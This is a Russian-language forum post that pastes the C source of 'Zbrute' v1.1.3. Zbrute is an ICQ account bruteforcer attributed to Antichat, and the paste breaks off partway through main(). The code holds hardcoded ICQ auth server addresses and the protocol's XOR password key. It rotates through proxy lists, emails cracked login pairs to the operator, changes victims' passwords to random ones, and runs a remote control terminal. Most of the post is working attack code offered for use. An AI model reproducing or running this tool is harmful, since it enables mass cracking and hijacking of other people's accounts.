Derek_RED
Сообщений: 235
Оценки: 0
Присоединился: 2008-03-16 16:29:54.476666
|
я наю ток один…. /*****************************************************************************************
* _____
* /__ / ___ ___ _ _ _____ ___ v 1.1.3
* / / | o | | . | | | | |_ _| | _|
* / /_ | . \ | / | | | | | _|
* /____/ |___| |_|\_\ |____\ |_| |___|
*
* Crossplatform icq bruteforce
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*
*******************************************************************************************
*
* Features:
* ~~~~~~~~~
* * Socks4 proxies support
* * Socks5 proxies support
* * HTTPS proxies support
* * Self IP brutefrom support
* * Remote terminal
* * Local dynamic terminal
* * E-mail notification about good pairs
* * Visit zbrutes site for more details
* * Auto password changer
* * Removing pairs with bruted icq from list
*
******************************************************************************************
*
* Complie:
* ~~~~~~~~
* Linux:
* gcc -lpthread zbrute.c -o zbrute.exe
* *BSD:
* gcc -pthread zbrute.c -o zbrute.exe
* Windows:
* Borland C++ 5
*
******************************************************************************************
*
* Usage:
* ~~~~~~
* zbrute.exe <settings>
* [ Necessary settings ]
* -s xxx - Source filelist
* -g xxx - Good filelist
* -p xxx - HTTPS proxy filelist OR/AND
* -s5 xxx - Socks5 proxy filelist OR/AND
* -s4 xxx - Socks4 proxy filelist
* -t xxx - Threads count
* [ Optional settings ]
* -o xxx - Use xxx options-file generated by the brute
* instead of console params
* -mo xxx - Make options-file
* -b xxx - Bad filelist
* -i - Use self IP alongside proxie
* -c xxx - Cleanup time in minutes (no cleanup by default)
* -pc - Cleanup proxy lists alongside good/bad/source
* -tm xxx - TCP port for remote admin terminal
* -tp xxx - Password for remote terminal (no password by default
* -h - Show this text
* -ms xxx - SMTP server for good pairs notification in
* <server:port> or <server> format
* (25th port by default)
* -ch - Change password for good icq;pass pair (to random)
* -d - Remove all <icq>;pass pairs from list when
* the good password for <icq> will be found
*
* (Example: smtp.mail.ru:25, smtp.mail.ru)
* -ml xxx - SMTP login for good pairs notification
* (Example: jorathehacker@mail.ru)
* -mp xxx - SMTP password for good pairs notification
* -mm xxx - Your e-mail to recieve a notice
* [ Examples ]
* zbrute.exe -o /tmp/options.txt
* zbrute.exe -t 200 -s /tmp/s.txt -g /tmp/g.txt -p
*
* From 1.0.1 version you can run Zbrute as:
* zbrute.exe /tmp/options.txt
*
* All lists, marked with http:// like http://xxx.x/abc.txt
* (Example: -o http://vasika.narod.ru/settings.txt) will be saved
* as abc.txt on hard disc
*
******************************************************************************************
*
* You are looking at 1.1.3 version
*
* Latest version of this source always here:
* http://zbrute.antichat.ru/zbrute.c
*
* Support website: http://zbrute.antichat.ru/
*
* Thanks to ShturmBanFurrer, De1eT, Egorich+++, Skvoznoy, SladerNon, NeMiNeM, Spirit69
* for computing resources, help with Zbrute testing and translation of the documentation
*
*
* written by Zadoxlik
* (c) Antichat 2006
*
*
*
******************************************************************************************/
//#define WINDA // Comment this string for *nix
/******************************************************************************************/
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
#ifdef WINDA
#include <winsock2.h>
#define _closesocket(s) shutdown(s, 1);closesocket(s)
#pragma comment (lib, "ws2_32.lib")
#define _random rand
#define MAXDESCRFORSELECT(s) 0
#define _GetTickCount() GetTickCount()
#else
#include <errno.h>
#include <memory.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/ioctl.h>
#include <termios.h>
#include <fcntl.h>
#include <netdb.h>
#include <sys/time.h>
#include <pthread.h>
#include <signal.h>
typedef int SOCKET;
#define WSAEWOULDBLOCK EWOULDBLOCK
#define MAXDESCRFORSELECT(s) s+1
#define _closesocket(s) shutdown(s, 1);close(s)
#define ioctlsocket ioctl
#define WSAGetLastError() errno
#define SOCKET_ERROR -1
#define Sleep(t) usleep(t*1000);
struct termios saved_attributes;
#define zeromem bzero
#endif
#define TRUE 1
#define FALSE 0
#define NEW_PASS_LEN 8
//#define POTMAX 1500
#define FILE_LENGTH 128
#define BUF 2048
// Option file optnames
#define OPTION_FILE_s "sourcelist"
#define OPTION_FILE_g "goodlist"
#define OPTION_FILE_p "httpslist"
#define OPTION_FILE_s5 "socks5list"
#define OPTION_FILE_s4 "socks4list"
#define OPTION_FILE_t "threads"
#define OPTION_FILE_b "badlist"
#define OPTION_FILE_i "useselfip"
#define OPTION_FILE_c "cleanuptime"
#define OPTION_FILE_pc "isproxycleanup"
#define OPTION_FILE_tm "terminalport"
#define OPTION_FILE_ms "smtpserver"
#define OPTION_FILE_ml "smtplogin"
#define OPTION_FILE_mp "smtppassword"
#define OPTION_FILE_mm "noticeemail"
#define OPTION_FILE_tp "terminalpass"
#define OPTION_FILE_ch "changepass"
#define OPTION_FILE_d "deletefromlist"
#ifndef WINDA
#define CRITICAL_SECTION pthread_mutex_t
#define InitializeCriticalSection(s) pthread_mutex_init(s, NULL)
#define DeleteCriticalSection(s) pthread_mutex_destroy(s)
#define EnterCriticalSection(s) pthread_mutex_lock(s)
#define LeaveCriticalSection(s) pthread_mutex_unlock(s)
#endif
#ifndef WINDA
typedef char byte;
#endif
#ifndef MSG_NOSIGNAL
#define MSG_NOSIGNAL 0
#endif
#define DELBYTE1 0x08
#define DELBYTE2 0x7F
typedef byte bool;
typedef struct{
char s[FILE_LENGTH+1],
g[FILE_LENGTH+1],
b[FILE_LENGTH+1],
p[FILE_LENGTH+1],
s5[FILE_LENGTH+1],
s4[FILE_LENGTH+1],
mo[FILE_LENGTH+1],
o[FILE_LENGTH+1],
*tp,
*ms,
*ml,
*mp,
*mm;
unsigned int t,
tm,
c,
mport; // SMTP port
bool i,
h,
pc,
ch,
d;
} opts;
typedef struct{
unsigned char comstart,
chID;
unsigned short seqnum,
shortdatalen;
}flap;
typedef struct timeval timeval;
typedef struct sockaddr_in sockaddr_in;
typedef struct hostent hostent;
const short icqport = 443,
pingtimeout = 5000,
serverscount = 10; // Count of auth servers
char *servers[] = {
"205.188.179.233",
"205.188.153.121",
"205.188.153.100",
"205.188.153.99",
"205.188.153.98",
"205.188.153.97",
"205.188.153.249",
"64.12.161.153",
"64.12.161.185",
"64.12.200.89"
},
help[] =
" _____\r\n"
" /__ / ___ ___ _ _ _____ ___ v 1.1.3 \r\n"
" / / | o | | o | | | | |_ _| | _|\r\n"
" / /_ | . \\ | / | | | | | _|\r\n"
" /____/ |___| |_|\_\\ |___\\ |_| |___|\r\n\r\n"
" Written by Zadoxlik\r\n"
" (c) Antichat.ru 2006\r\n"
" [ Usage ]\r\n\r\n"
" zbrute.exe <settings>\r\n\r\n"
" [ Necessary settings ]\r\n\r\n"
" -s xxx - Source filelist\r\n"
" -g xxx - Good filelist\r\n"
" -p xxx - HTTPS proxy filelist OR/AND\r\n"
" -s5 xxx - Socks5 proxy filelist OR/AND\r\n"
" -s4 xxx - Socks4 proxy filelist\r\n"
" -t xxx - Threads count\r\n"
" [ Optional settings ]\r\n\r\n"
" -o xxx - Use xxx options-file generated by the brute\r\n"
" instead of console params\r\n"
" -mo xxx - Make options-file\r\n"
" -b xxx - Bad filelist\r\n"
" -i - Use self IP alongside proxies\r\n"
" -c xxx - Cleanup time in minutes (no cleanup by default)\r\n"
" -pc - Cleanup proxy lists alongside good/bad/source\r\n"
" -tm xxx - TCP port for remote admin terminal\r\n"
" -tp xxx - Password for remote terminal (no password by default\r\n"
" -h - Show this text\r\n\r\n"
" -ms xxx - SMTP server for good pairs notification in\r\n"
" <server:port> or <server> format\r\n"
" (25th port by default)\r\n"
" (Example: smtp.mail.ru:25, smtp.mail.ru)\r\n"
" -ml xxx - SMTP login for good pairs notification\r\n"
" (Example: jorathehacker@mail.ru)\r\n"
" -mp xxx - SMTP password for good pairs notification\r\n"
" -mm xxx - Your e-mail to recieve a notice\r\n"
" -ch - Change password for good icq;pass pair (to random)\r\n"
" -d - Remove all <icq>;pass pairs from list when\r\n"
" the good password for <icq> will be found\r\n\r\n"
" [ Examples ]\r\n\r\n"
" zrute.exe -o /tmp/options.txt\r\n"
" zbrute.exe -t 200 -s /tmp/s.txt -g /tmp/g.txt -p /tmp/p.txt\r\n\r\n"
" All lists, marked with http:// like http://xxx.x/fname.txt\r\n"
" (Example: -o http://vasika.narod.ru/settings.txt) will be saved\r\n"
" as fname.txt on hard disc\r\n",
**proxy[3], // 0 - HTTPS, 1 - Socks4, 2 - Socks5
**source[2] = {NULL, NULL},
**csource,
**goodlist = NULL,
**badlist = NULL,
*terminal_menu = " Commands:\r\n"
" ~~~~~~~~~\r\n"
" pause - pause brute\r\n"
" continue - continue paused brute\r\n"
" finish - finish brute\r\n"
" threads xxx - set threads amount to xxx\r\n"
" cleanup proxies - cleanup only proxy lists\r\n"
" cleanup all - cleanup all (except proxy lists\r\n"
" if proxycleanup wasn't specified\r\n"
" in options)\r\n",
// FOR REMOTE TERMINAL
*terminal_menu2 = " show goods - show valid icq;password pairs\r\n"
" stats - statistics\r\n"
" exit - quit terminal\r\n"
" help - show this message\r\n";
terminal_stats[400];
const char xor_key[] = {
0xF3, 0x26, 0x81, 0xC4, 0x39, 0x86, // Why are there so many
0xDB, 0x92, 0x71, 0xA3, 0xB9, 0xE6, // symbols here? =)
0x53, 0x7A, 0x95, 0x7C
},
alphabet[] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R',
'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a',
'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's',
't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1',
'2', '3', '4', '5', '6', '7', '8', '9', '+',
'/'
}; // Alphabet for base64 and for random pass
int proxyc[3] = {0, 0, 0},
vsegop = 0, // For passwords remains show
sourcec = 0,
// rebrutc = 0, // Pairs for rebrute
curpair = 0, // Current pair number
restack = 0, // Current stack pointer for pairs rebrute
curprox = 0, // Current proxy number
gproxyc[3] = {0, 0, 0}, // Good proxies count
good = 0, // Good pairs count
bad = 0, // Bad pairs count
goodim = 0, // For terminal
badim = 0, // For terminal
waittime,
waittimeadd,
workthreads = 0;
double pps = 0,
maxpps = 0,
avpps = 0;
bool *goodproxy[3], // Bool array for good proxy (0 - HTTPS, 1 - Socks4, 2 - Socks5)
finish = 0,
paused = 0,
isfastestserv = 0;
byte samiy = 0, // Index fo the fastest server from servers array
cursource = 0, // Index for **source array
nowprox = 0; // 0 - proxies, 1 - socks4, 2 - socks5
opts options;
/************************************************************************\
Critical sectons
\************************************************************************/
CRITICAL_SECTION database_s, // Work with the dbfile
gdfile_s, // Work with the goodfile
badfile_s, // Work with the badfile
prfile_s, // Work with the proxyfile
goodbad_s, // Work with the inc/dec of goods and bads
fastestserv_s, // Work with the samiy
PPSFunc_s, // PPSCounter thread is alone
Cleanup_s, // Cleanuping is alone
Terminal_s, // Only one command execution per time
Pause_s // For pausing brute
#ifndef WINDA
,Hostent_s // For hostent structutre VIP
#endif
;
opts getoptions(int argc, char* argv[]);
void newthread(void* funcm, void* p);
void fatalerror(char* mess);
void rtrim(char* str);
void xor(char* what, char* key, char* place);
char** fileop(char* file, int* count);
void base64_encode(char* inb, char* outb, unsigned int insize);
//void clearpairs(char** pairs, int pairscount, int startindex);
void FastServFunc(void);
int ping(char* host);
bool proc(void); // Brute function
bool explode(char* str1, char byte, char** str2);
void repairapair(char* icq, char* pass, short uinlen, short passlen, SOCKET s);
void PPSCounter(void);
void Cleanupper(void);
void clean_up(bool isgood, bool onlyproxies);
void inhex(char* source, char* outbuf);
void sendemail(char* icq, char* password, int uinlen, int passlen, char* altpass);
void tr(void);
bool is_in_str(char* string, char* tosearch);
bool Use_HTTPS(SOCKET s, char* host, int port, int timeout_seconds);
bool Use_Socks4(SOCKET s, char* host, int port, int timeout_seconds);
bool Use_Socks5(SOCKET s, char* host, int port, int timeout_seconds);
bool command_exec(char* command, SOCKET terminalsocket);
void remoteterminal(SOCKET s);
void terminal(void);
#ifndef WINDA
//int random_number(void);
void switchblock(bool value);
void reset_input_mode(void);
char _getch(void);
int _random(void);
int _GetTickCount(void);
void sigsegvact(int signum);
#else
void zeromem(void* mem, unsigned int size);
#define _getch getch
#endif
void settimeout(void);
void getandsavethefile(char* fname);
void passrand(char* buf, unsigned short len);
unsigned short make_auth_request(char* icq, char* password, char** request, short uinlen, short passwordlen);
unsigned short readtlv(SOCKET s, char** buf, unsigned short *size);
void flapout(SOCKET s);
void change_pass(char* icq, char* password, char* newpassword, unsigned short newpasslen);
void delete_from_list(char* icq);
/************************************************************************\
Program body
\************************************************************************/
int main(int argc, char* argv[])
{
unsigned int i;
#ifdef WINDA
WSADATA WSAbuff;
#endif
#ifdef WINDA
WSAStartup(0x0202,(WSADATA *)&WSAbuff);
randomize();
#else
struct termios tattr;
struct sigaction sa;
// Display settings
switchblock(0);
tcgetattr(STDIN_FILENO, &saved_attributes);
atexit(reset_input_mode);
tcgetattr(STDIN_FILENO, &tattr);
tattr.c_lflag &= ~(ICANON|ECHO);
tattr.c_cc[VMIN] = 1;
tattr.c_cc[VTIME] = 0;
tcsetattr (STDIN_FILENO, TCSAFLUSH, &tattr);
setbuf(stdout, NULL);
// EPIPE universal ignore
memset(&sa, 0, sizeof(sa));
sa.sa_handler = SIG_IGN;
sa.sa_flags |= SA_RESTART;
sigaction(SIGPIPE, &sa, NULL);
sa.sa_handler = sigsegvact;
sigaction(SIGSEGV, &sa, NULL);
#endif
//while(_random() % 5 != 3)
// _random();
options = getoptions(argc, argv);
if(options.o[0]){
// Getting options from file
FILE* fp;
char buf[0xFF];
getandsavethefile(options.o);
fp = fopen(options.o, "r");
if(!fp)
fatalerror("Can't open specified option-file!");
while(!feof(fp)){
int i = 0;
fgets(&buf[0], 0xFF, fp);
while(buf[i] == 0x09 || buf[i] == 0x20) // tab and space
i++;
if(buf[i] && buf[i] != '#'){ // # - comment string
// Getting optname and value
char *vbuf = &buf[i],
*zbuf = strchr(vbuf, '=');
if(zbuf == NULL)
continue;
*(zbuf++) = 0x00;
rtrim(vbuf);
while(*zbuf == 0x09 || *zbuf == 0x20)
zbuf++;
rtrim(zbuf);
// If there are quotes
if((*zbuf == '"' || *zbuf == '\'') && *zbuf == zbuf[strlen(zbuf) - 1]){
zbuf++;
zbuf[strlen(zbuf) - 1] = 0x00;
}
if(!strcmp(vbuf, OPTION_FILE_s))
strncpy(options.s, zbuf, FILE_LENGTH);
else if(!strcmp(vbuf, OPTION_FILE_g))
strncpy(options.g, zbuf, FILE_LENGTH);
else if(!strcmp(vbuf, OPTION_FILE_p))
strncpy(options.p, zbuf, FILE_LENGTH);
else if(!strcmp(vbuf, OPTION_FILE_s5))
strncpy(options.s5, zbuf, FILE_LENGTH);
else if(!strcmp(vbuf, OPTION_FILE_s4))
strncpy(options.s4, zbuf, FILE_LENGTH);
else if(!strcmp(vbuf, OPTION_FILE_t))
options.t = atoi(zbuf);
else if(!strcmp(vbuf, OPTION_FILE_b))
strncpy(options.b, zbuf, FILE_LENGTH);
else if(!strcmp(vbuf, OPTION_FILE_i)){
if(atoi(zbuf) != 0)
options.i = TRUE;
else
options.i = FALSE;
}
else if(!strcmp(vbuf, OPTION_FILE_ch)){
if(atoi(zbuf) != 0)
options.ch = TRUE;
else
options.ch = FALSE;
}
else if(!strcmp(vbuf, OPTION_FILE_d)){
if(atoi(zbuf) != 0)
options.d = TRUE;
else
options.d = FALSE;
}
else if(!strcmp(vbuf, OPTION_FILE_c))
options.c = atoi(zbuf);
else if(!strcmp(vbuf, OPTION_FILE_pc)){
if(atoi(zbuf) != 0)
options.pc = TRUE;
else
options.pc = FALSE;
}
else if(!strcmp(vbuf, OPTION_FILE_tm))
options.tm = atoi(zbuf);
else if(!strcmp(vbuf, OPTION_FILE_ms)){
char* temp;
options.ms = (char*)realloc(options.ms, strlen(zbuf) + 1);
strcpy(options.ms, zbuf);
temp = strchr(options.ms, ':');
//printf("he");
if(temp != NULL){
options.mport = atoi(temp + 1);
*temp = 0x00;
}else
options.mport = 25;
}
else if(!strcmp(vbuf, OPTION_FILE_ml)){
options.ml = (char*)realloc(options.ml, strlen(zbuf) + 1);
strcpy(options.ml, zbuf);
}else if(!strcmp(vbuf, OPTION_FILE_mp)){
options.mp = (char*)realloc(options.mp, strlen(zbuf) + 1);
strcpy(options.mp, zbuf);
}else if(!strcmp(vbuf, OPTION_FILE_mm)){
options.mm = (char*)realloc(options.mm, strlen(zbuf) + 1);
strcpy(options.mm, zbuf);
}else if(!strcmp(vbuf, OPTION_FILE_tp)){
options.tp = (char*)realloc(options.tp, strlen(zbuf) + 1);
strcpy(options.tp, zbuf);
}
}
}
fclose(fp);
}
//sendemail("aadwa", "bbb", 5, 3);
//return;
getandsavethefile(options.s);
getandsavethefile(options.p);
getandsavethefile(options.g);
getandsavethefile(options.b);
getandsavethefile(options.s4);
getandsavethefile(options.s5);
if(!(options.s[0] && options.g[0] && (options.p[0] || options.s4[0] || options.s5[0]) &&
options.t) || options.h)
fatalerror(&help[0]);
if(options.p[0])
proxy[0] = fileop(options.p, &proxyc[0]);
if(options.s4[0])
proxy[1] = fileop(options.s4, &proxyc[1]);
if(options.s5[0])
proxy[2] = fileop(options.s5, &proxyc[2]);
csource = (source[cursource] = fileop(options.s, &sourcec));
if(proxyc[0] + proxyc[1] + proxyc[2] < 1)
fatalerror("There are no HTTPS/Socks5/Socks4 proxies for brute!");
if(sourcec < 1)
fatalerror("There are no icq:password pairs for brute!");
vsegop = sourcec;
if(options.mo[0] && !options.o[0]){
// Saving options to file
FILE* fp = fopen(options.mo, "w");
char buf[sizeof(opts)];
if(!fp)
printf("\r\nCan't open for record specified option-file!\r\n");
else{
fprintf(fp, "#########################################\n"
"# OPTIONS FILE FOR ZBRUTE #\n"
"# Written by Zadoxlik #\n"
"# ICQ: 511501 #\n"
"#########################################\n"
"# Usage: #\n"
"# zbrute.exe -o <thisfile> #\n"
"# (without <> =)) #\n"
"#########################################\n");
fprintf(fp, "\n\n# Source file\n" OPTION_FILE_s " = '%s'\n", options.s);
fprintf(fp, "\n# Good file\n" OPTION_FILE_g " = '%s'\n", options.g);
fprintf(fp, "\n# HTTPS proxy file\n");
if(*options.p)
fprintf(fp, OPTION_FILE_p " = '%s'\n", options.p);
else
fprintf(fp, "# " OPTION_FILE_p " = ''\n");
fprintf(fp, "\n# Socks5 proxy file\n");
if(*options.s5)
fprintf(fp, OPTION_FILE_s5 " = '%s'\n", options.s5);
else
fprintf(fp, "# " OPTION_FILE_s5 " = ''\n");
fprintf(fp, "\n# Socks4 proxy file\n");
if(*options.s4)
fprintf(fp, OPTION_FILE_s4 " = '%s'\n", options.s4);
else
fprintf(fp, "# " OPTION_FILE_s4 " = ''\n");
fprintf(fp, "\n# Threads amount\n" OPTION_FILE_t " = %d\n", options.t);
fprintf(fp, "\n# Bad list file\n");
if(*options.b)
fprintf(fp, OPTION_FILE_b " = '%s'\n", options.b);
else
fprintf(fp, "# " OPTION_FILE_b " = ''\n");
fprintf(fp, "\n# Use self IP alongside proxies\n" OPTION_FILE_i " = %d \n", options.i);
fprintf(fp, "\n# Change password for good icq;pass pair (to random)\n" OPTION_FILE_ch
" = %d \n", options.ch);
fprintf(fp, "\n# Remove all <icq>;pass pairs from list when\n"
"# the good password for <icq> will be found\n" OPTION_FILE_d " = %d \n", options.d);
fprintf(fp, "\n# Cleanup time in minutes\n");
if(options.c)
fprintf(fp, OPTION_FILE_c " = '%d'\n", options.c);
else
fprintf(fp, "# " OPTION_FILE_c " = 10\n");
fprintf(fp, "\n# Cleanup proxy lists\n");
fprintf(fp, OPTION_FILE_pc " = %d\n", options.pc);
fprintf(fp, "\n# Remote terminal TCP port\n");
if(options.tm)
fprintf(fp, OPTION_FILE_tm " = %d\n", options.tm);
else
fprintf(fp, "# " OPTION_FILE_tm " = 31337\n");
fprintf(fp, "\n# Remote terminal password\n");
if(*options.tp)
fprintf(fp, OPTION_FILE_tp " = '%s'\n", options.tp);
else
fprintf(fp, "# " OPTION_FILE_tp " = 'qwerty'\n");
fprintf(fp, "\n# SMTP server (Example: smtp.mail.ru or smtp.mail.ru:25)\n");
if(*options.ms)
fprintf(fp, OPTION_FILE_ms " = '%s'\n", options.ms);
else
fprintf(fp, "# " OPTION_FILE_ms " = 'smtp.mail.ru:25'\n");
fprintf(fp, "\n# SMTP login (If no login and SMTP server exists - without auth)\n");
if(*options.mp)
fprintf(fp, OPTION_FILE_ml " = '%s'\n", options.ml);
else
fprintf(fp, "# " OPTION_FILE_ml " = 'vasyka@mail.ru'\n");
fprintf(fp, "\n# SMTP password (If no password and SMTP server exists - without auth)\n");
if(*options.mp)
fprintf(fp, OPTION_FILE_mp " = '%s'\n", options.mp);
else
fprintf(fp, "# " OPTION_FILE_mp " = 'qwerty'\n");
fprintf(fp, "\n# Your e-mail to recieve a notice\n");
if(*options.mm)
fprintf(fp, OPTION_FILE_mm " = '%s'\n", options.mm);
else
fprintf(fp, "# " OPTION_FILE_mm " = 'icqhacker@mail.ru'");
fclose(fp);
}
}
// sizeof(bool) = 1
goodproxy[0] = (bool*)malloc(proxyc[0]);
goodproxy[1] = (bool*)malloc(proxyc[1]);
goodproxy[2] = (bool*)malloc(proxyc[2]);
zeromem(goodproxy[0], proxyc[0]);
zeromem(goodproxy[1], proxyc[1]);
zeromem(goodproxy[2], proxyc[2]);
settimeout();
InitializeCriticalSection(&database_s);
InitializeCriticalSection(&gdfile_s);
InitializeCriticalSection(&badfile_s);
InitializeCriticalSection(&prfile_s);
InitializeCriticalSection(&goodbad_s);
InitializeCriticalSection(&fastestserv_s);
InitializeCriticalSection(&PPSFunc_s);
|